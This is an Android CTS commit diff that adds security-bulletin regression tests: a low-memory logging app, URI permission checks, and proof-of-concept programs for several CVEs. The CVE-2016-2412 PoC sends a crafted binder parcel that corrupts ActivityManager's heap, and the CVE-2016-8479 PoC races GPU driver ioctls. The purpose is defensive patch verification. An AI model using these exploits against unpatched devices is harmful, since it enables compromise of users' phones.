Merge "NdkBinderTest: sanity check source implementation" am: d2332aabd0
am: 7a107dd71a
Change-Id: I636ae0e03459fb9967775fb040c643556c799f79
diff --git a/apps/OomCatcher/Android.mk b/apps/OomCatcher/Android.mk
new file mode 100644
index 0000000..7f47e03
--- /dev/null
+++ b/apps/OomCatcher/Android.mk
@@ -0,0 +1,33 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := OomCatcher
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+
+include $(BUILD_CTS_PACKAGE)
+
diff --git a/apps/OomCatcher/AndroidManifest.xml b/apps/OomCatcher/AndroidManifest.xml
new file mode 100644
index 0000000..25513e2
--- /dev/null
+++ b/apps/OomCatcher/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.oomcatcher"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <application>
+ <activity android:name=".OomCatcher">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
new file mode 100644
index 0000000..53ec140
--- /dev/null
+++ b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.oomcatcher;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.ComponentCallbacks2;
+import android.util.Log;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/*
+ * An App to report to logcat the lowmemory status. As soon as the app detects low memory, it
+ * immediately reports. In addition, it also reports every second.
+ */
+public class OomCatcher extends Activity implements ComponentCallbacks2 {
+
+ private static final String LOG_TAG = "OomCatcher";
+
+ private AtomicBoolean isOom = new AtomicBoolean(false);
+
+ Thread logThread;
+
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ logThread = new Thread() {
+ @Override
+ public void run() {
+ while (true) {
+ logStatus();
+ try {
+ Thread.sleep(1000); // 1 second
+ } catch (InterruptedException e) {
+ // thread has been killed
+ }
+ }
+ }
+ };
+ logThread.setDaemon(true);
+ logThread.start();
+ }
+
+ public void onDestroy() {
+ if (logThread != null) {
+ logThread.interrupt();
+ }
+ }
+
+ /*
+ * Receive memory callbacks from the Android system. All report low memory except for
+ * TRIM_MEMORY_UI_HIDDEN, which reports when the app is in the background. We don't care about
+ * that, only when the device is at risk of OOMing.
+ *
+ * For all indications of low memory, onLowMemory() is called.
+ */
+ @Override
+ public void onTrimMemory(int level) {
+ switch (level) {
+ case TRIM_MEMORY_COMPLETE:
+ case TRIM_MEMORY_MODERATE:
+ case TRIM_MEMORY_BACKGROUND:
+ case TRIM_MEMORY_RUNNING_CRITICAL:
+ case TRIM_MEMORY_RUNNING_LOW:
+ case TRIM_MEMORY_RUNNING_MODERATE:
+ //fallthrough
+ onLowMemory();
+ break;
+ case TRIM_MEMORY_UI_HIDDEN:
+ default:
+ return;
+ }
+ }
+
+ /*
+ * An earlier API implementation of low memory callbacks. Sets oom status and logs.
+ */
+ @Override
+ public void onLowMemory() {
+ isOom.set(true);
+ logStatus();
+ }
+
+ /*
+ * Log to logcat the current lowmemory status of the app.
+ */
+ private void logStatus() {
+ Log.i(LOG_TAG, isOom.get() ? "Low memory" : "Normal memory");
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
index 80a1578..355de8c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java
@@ -141,6 +141,16 @@
}
}
+ private void assertContentUriAllowed(Uri uri) {
+ assertReadingContentUriAllowed(uri);
+ assertWritingContentUriAllowed(uri);
+ }
+
+ private void assertContentUriNotAllowed(Uri uri, String msg) {
+ assertReadingContentUriNotAllowed(uri, msg);
+ assertWritingContentUriNotAllowed(uri, msg);
+ }
+
private void assertWritingContentUriNotAllowed(Uri uri, String msg) {
final ContentResolver resolver = getContext().getContentResolver();
try {
@@ -487,10 +497,18 @@
}
private void doTestGrantUriPermissionFail(Uri uri) {
- grantUriPermissionFail(uri, Intent.FLAG_GRANT_READ_URI_PERMISSION, false);
- grantUriPermissionFail(uri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
- grantUriPermissionFail(uri, Intent.FLAG_GRANT_READ_URI_PERMISSION, true);
- grantUriPermissionFail(uri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, true);
+ for (boolean service : new boolean[] { false, true }) {
+ for (int flags : new int[] {
+ Intent.FLAG_GRANT_READ_URI_PERMISSION, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+ }) {
+ grantUriPermissionFail(uri,
+ flags, service);
+ grantUriPermissionFail(uri,
+ flags | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, service);
+ grantUriPermissionFail(uri,
+ flags | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, service);
+ }
+ }
}
/**
@@ -1162,6 +1180,26 @@
}
/**
+ * Test that shady {@link Uri} are blocked by {@code path-permission}.
+ */
+ public void testRestrictingProviderMatchingShadyPaths() {
+ assertContentUriAllowed(
+ Uri.parse("content://ctspermissionwithsignaturepathrestricting/"));
+ assertContentUriAllowed(
+ Uri.parse("content://ctspermissionwithsignaturepathrestricting//"));
+ assertContentUriAllowed(
+ Uri.parse("content://ctspermissionwithsignaturepathrestricting///"));
+ assertContentUriNotAllowed(
+ Uri.parse("content://ctspermissionwithsignaturepathrestricting/foo"), null);
+ assertContentUriNotAllowed(
+ Uri.parse("content://ctspermissionwithsignaturepathrestricting//foo"), null);
+ assertContentUriNotAllowed(
+ Uri.parse("content://ctspermissionwithsignaturepathrestricting///foo"), null);
+ assertContentUriNotAllowed(
+ Uri.parse("content://ctspermissionwithsignaturepathrestricting/foo//baz"), null);
+ }
+
+ /**
* Verify that at least one {@code path-permission} rule will grant access,
* even if the caller doesn't hold another matching {@code path-permission}.
*/
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index cdf71dc..8bef613 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := optional
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Must match the package name in CtsTestCaseList.mk
LOCAL_MODULE := CtsSecurityHostTestCases
diff --git a/hostsidetests/securitybulletin/Android.mk b/hostsidetests/securitybulletin/Android.mk
index a07fbbd..fc814a5 100644
--- a/hostsidetests/securitybulletin/Android.mk
+++ b/hostsidetests/securitybulletin/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_TAGS := optional
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
# Must match the package name in CtsTestCaseList.mk
LOCAL_MODULE := CtsSecurityBulletinHostTestCases
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 0c9ebe3..6e724ed 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -41,6 +41,7 @@
<!-- Bulletin 2016-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
<option name="push" value="CVE-2016-0844->/data/local/tmp/CVE-2016-0844" />
<option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
@@ -50,6 +51,10 @@
<option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
<!--__________________-->
+ <!-- Bulletin 2016-06 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <!--__________________-->
<!-- Bulletin 2016-07 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2016-3809->/data/local/tmp/CVE-2016-3809" />
@@ -57,6 +62,7 @@
<!-- Bulletin 2016-09 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2015-8839->/data/local/tmp/CVE-2015-8839" />
<option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
<!--__________________-->
@@ -66,6 +72,7 @@
<!--__________________-->
<!-- Bulletin 2016-11 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2012-6702->/data/local/tmp/CVE-2012-6702" />
<!--__________________-->
<!-- Bulletin 2016-12 -->
@@ -78,11 +85,13 @@
<!--__________________-->
<!-- Bulletin 2017-02 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-0415->/data/local/tmp/CVE-2017-0415" />
<option name="push" value="CVE-2017-0426->/data/local/tmp/CVE-2017-0426" />
<!--__________________-->
<!-- Bulletin 2017-03 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-0477->/data/local/tmp/CVE-2017-0477" />
<option name="push" value="CVE-2017-0479->/data/local/tmp/CVE-2017-0479" />
<option name="push" value="CVE-2017-0334->/data/local/tmp/CVE-2017-0334" />
<option name="push" value="CVE-2016-8479->/data/local/tmp/CVE-2016-8479" />
@@ -138,6 +147,7 @@
<!--__________________-->
<!-- Bulletin 2018-02 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-13273->/data/local/tmp/CVE-2017-13273" />
<option name="push" value="CVE-2017-13232->/data/local/tmp/CVE-2017-13232" />
<!--__________________-->
@@ -145,9 +155,37 @@
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2017-13253->/data/local/tmp/CVE-2017-13253" />
+ <!--__________________-->
+ <!-- Bulletin 2018-07 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
+
+ <!--__________________-->
+ <!-- Bulletin 2018-08 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <!--__________________-->
+ <!-- Bulletin 2018-09 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <!--__________________-->
+ <!-- Bulletin 2018-10 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
+
<option name="append-bitness" value="true" />
</target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsHostLaunchAnyWhereApp.apk" />
+ </target_preparer>
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="OomCatcher.apk" />
+ </target_preparer>
+
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
<option name="runtime-hint" value="8m40s" />
diff --git a/hostsidetests/securitybulletin/res/CVE-2017-0477.gif b/hostsidetests/securitybulletin/res/CVE-2017-0477.gif
new file mode 100644
index 0000000..67bd51f
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2017-0477.gif
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/CVE-2017-0647.zip b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
new file mode 100644
index 0000000..e01eaf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2017-0647.zip
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
new file mode 100644
index 0000000..dede1c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2012-6702
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES += $(TOP)/external/expat/lib/expat.h
+
+LOCAL_SHARED_LIBRARIES := \
+ libc \
+ libexpat \
+ liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c
new file mode 100644
index 0000000..ab83a0d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include "expat.h"
+#include <log/log.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define MAX_SIZE 20
+
+int main(void) {
+ XML_Parser parser;
+ int i;
+ int randomValues[MAX_SIZE];
+ int isDistinctive = 0;
+
+ for (i = 0; i < MAX_SIZE; i++) {
+ parser = XML_ParserCreate("UTF-8");
+ XML_Parse(parser, "", 0, 1);
+ XML_ParserFree(parser);
+ randomValues[i] = rand();
+ }
+
+ for (i = 1; i < MAX_SIZE; i++) {
+ if (randomValues[0] != randomValues[i]) {
+ isDistinctive |= 1;
+ }
+ }
+
+ if (isDistinctive == 0) {
+ //encountered similar values
+ ALOGE("fail: encountered same random values!");
+ return -1;
+ }
+
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
new file mode 100755
index 0000000..65fe025
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2015-8839
+LOCAL_SRC_FILES := poc.c
+
+LOCAL_SHARED_LIBRARIES := libcutils \
+ liblog
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
new file mode 100755
index 0000000..c6a330f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <cutils/log.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/falloc.h>
+#include <linux/magic.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/utsname.h>
+#include <sys/vfs.h>
+#include <unistd.h>
+
+int main(void) {
+ int fd = -1, result = -1;
+ char tmpFile[32];
+ struct statfs sfs;
+
+ memset(tmpFile, 0, sizeof(tmpFile));
+ strncpy(tmpFile, "/data/local/tmp/tmpFile", 24);
+
+ fd = open(tmpFile, O_WRONLY | O_APPEND | O_CREAT, 0644);
+ if (fd < 0) {
+ ALOGE("Creation of tmp file is failed [%s]", strerror(errno));
+ return -1;
+ }
+
+ fstatfs(fd, &sfs);
+ if (sfs.f_type == EXT4_SUPER_MAGIC) {
+ result = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, 1);
+ if (result < 0 && errno == EOPNOTSUPP) {
+ ALOGD("fallocate result [%s] errno [%d]", strerror(errno), errno);
+ ALOGE("fallocate result EOPNOTSUPP");
+ }
+ }
+
+ if (fd) {
+ close(fd);
+ }
+
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
new file mode 100644
index 0000000..77de47e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2412
+LOCAL_SRC_FILES := poc.cpp
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := libbinder \
+ libutils
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
new file mode 100644
index 0000000..7e3b067
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
@@ -0,0 +1,99 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+
+using namespace android;
+typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE;
+
+static void writeParcelableHead(Parcel *pData, const char *class_name) {
+ // write key
+ static int count = 1;
+ const int VAL_PARCELABLE = 4;
+ char buffer[16] = {0};
+ snprintf(buffer, 16, "%d", count);
+
+ pData->writeString16(String16((const char *)buffer));
+ pData->writeInt32(VAL_PARCELABLE);
+ pData->writeString16(String16(class_name));
+}
+
+void writeRegion(Parcel *pData) {
+ pData->writeInt32(100); // length of region;
+ pData->writeInt32(
+ 0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc
+ pData->writeInt32(0xf); // fBounds
+ pData->writeInt32(0xf); // YSpanCount
+ pData->writeInt32(0xf); // IntervalCount
+
+ char buffer[100];
+ memset(buffer, 0xcc,
+ sizeof(buffer)); // this buffer will be used to corrrupt the heap
+ pData->write(buffer, sizeof(buffer));
+}
+
+static void writeBundle(Parcel *pData, int type) {
+ size_t lengthPos = pData->dataPosition();
+ pData->writeInt32(0xfffff);
+ const int BUNDLE_MAGIC = 0x4C444E42;
+ pData->writeInt32(BUNDLE_MAGIC);
+ size_t startPos = pData->dataPosition();
+
+ if (type == HEAPCORRUPT) {
+ pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
+ writeParcelableHead(pData, "android.graphics.Region");
+ writeRegion(pData);
+ } else { // other than HEAPCORRUPT
+ exit(0);
+ }
+
+ size_t endPos = pData->dataPosition();
+ // Backpatch length
+ pData->setDataPosition(lengthPos);
+ int length = endPos - startPos;
+ pData->writeInt32(length);
+ pData->setDataPosition(endPos);
+}
+
+static void transact(sp<IBinder> &service, TRANTYPE type) {
+ const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175;
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.app.IActivityManager"));
+ data.writeStrongBinder(service);
+ data.writeInt32(333);
+ writeBundle(&data, type);
+ service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply);
+}
+
+int main(__attribute__((unused)) int argc,
+ __attribute__((unused)) char *const argv[]) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("activity"));
+ if (service != NULL) {
+ printf("heap corruption\n");
+ transact(service, HEAPCORRUPT);
+ } else {
+ printf("get activitymanger failed\n");
+ }
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 94202f6..5d4ded3 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -26,6 +26,7 @@
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
+#include "../includes/common.h"
#define THREAD_NUM 600
#define DEV "/dev/kgsl-3d0"
@@ -124,39 +125,46 @@
void* child_ioctl_0(void* no_use) {
int ret = 1;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_destroy kdd = {0};
kdd.drawctxt_id = kgsl_id;
set_affinity(1);
- while (1) {
+ while (is_timer_expired(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
}
+ return NULL;
}
void* child_ioctl_1(void* no_use) {
int ret = 1;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_destroy kdd = {0};
kdd.drawctxt_id = kgsl_id;
set_affinity(2);
- while (1) {
+ while (is_timer_expired(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
}
+ return NULL;
}
void* child_ioctl_2(void* no_use) {
int ret = 1;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_create kdc = {0, 0};
kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
set_affinity(3);
- while (1) {
+ while (is_timer_expired(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
kgsl_id = kdc.drawctxt_id;
}
+ return NULL;
}
int main() {
int i, ret;
+ time_t test_started = start_timer();
struct kgsl_drawctxt_create kdc = {0, 0};
kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
struct kgsl_drawctxt_destroy kdd = {0};
@@ -179,8 +187,12 @@
pthread_create(thread_id + i + 2, NULL, child_ioctl_2, NULL);
}
- while (1) {
+ while (is_timer_expired(test_started)) {
ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
kgsl_id = kdc.drawctxt_id;
}
+
+ close(fd);
+
+ return 0;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk
new file mode 100644
index 0000000..e3884e6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0415
+LOCAL_SRC_FILES := poc.cpp
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := libutils \
+ libui \
+ libgui \
+ libmedia
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/frameworks/native/include/media/openmax
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
